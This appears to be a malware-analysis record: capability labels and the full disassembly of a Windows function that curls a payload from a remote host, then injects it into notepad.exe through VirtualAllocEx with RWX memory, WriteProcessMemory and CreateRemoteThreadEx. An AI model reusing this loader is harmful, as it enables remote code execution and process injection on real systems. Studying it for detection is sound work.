Function at 0x1400112ee
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp 0x1400125d0
push rbp
push rdi
sub rsp, 0x538
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xde
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x4e8], rax
lea rcx, [0x1400250f9]
call fcn.14001141f
lea rax, str.curl_http:__192.168.238.134:8000_code.bin
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
lea rdx, [0x14001bdfc]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll__popen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012657
lea rcx, str.popen___failed
call qword [sym.imp.ucrtbased.dll_perror]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x44]
call qword [sym.imp.ucrtbased.dll_fread]
test rax, rax
je 0x14001268e
movsxd rax, dword [rbp + 0x64]
movzx ecx, byte [rbp + 0x44]
mov byte [rbp + rax + 0x90], cl
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
jmp 0x140012657
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll__pclose]
lea rcx, str.notepad.exe
call fcn.14001137f
mov dword [rbp + 0x2a4], eax
mov dword [rbp + 0x2c4], 0
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x308], 0
mov qword [rbp + 0x328], 0
lea rdx, str.dwPID_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov qword [rbp + 0x4d8], rax
mov edx, dword [rbp + 0x2a4]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001be28]
mov rcx, rax
call fcn.140011087
mov r8d, dword [rbp + 0x2a4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
jne 0x140012785
lea rdx, str.Failed_to_get_a_handle_to_the_process__error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov qword [rbp + 0x4d8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4e0], eax
mov edx, dword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001be28]
mov rcx, rax
call fcn.140011087
xor eax, eax
jmp 0x1400128c7
mov qword [rbp + 0x348], 0x1fe
lea rdx, str.got_a_handle_to_the_process
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov qword [rbp + 0x4d8], rax
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x14001be28]
mov rcx, rax
call fcn.140011087
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x348]
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
jne 0x14001284a
lea rdx, str.Failed_to_allocate_buffer__error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov qword [rbp + 0x4d8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4e0], eax
mov edx, dword [rbp + 0x4e0]
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001be28]
mov rcx, rax
call fcn.140011087
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x348]
lea r8, [rbp + 0x90]
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rbp + 0x2c4]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2e8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x328], rax
call qword [sym.imp.ucrtbased.dll_getchar]
jmp 0x1400128c5
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bd10]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0x4e8]
xor rcx, rbp
call fcn.14001120d
lea rsp, [rbp + 0x4f8]
pop rdi
pop rbp
ret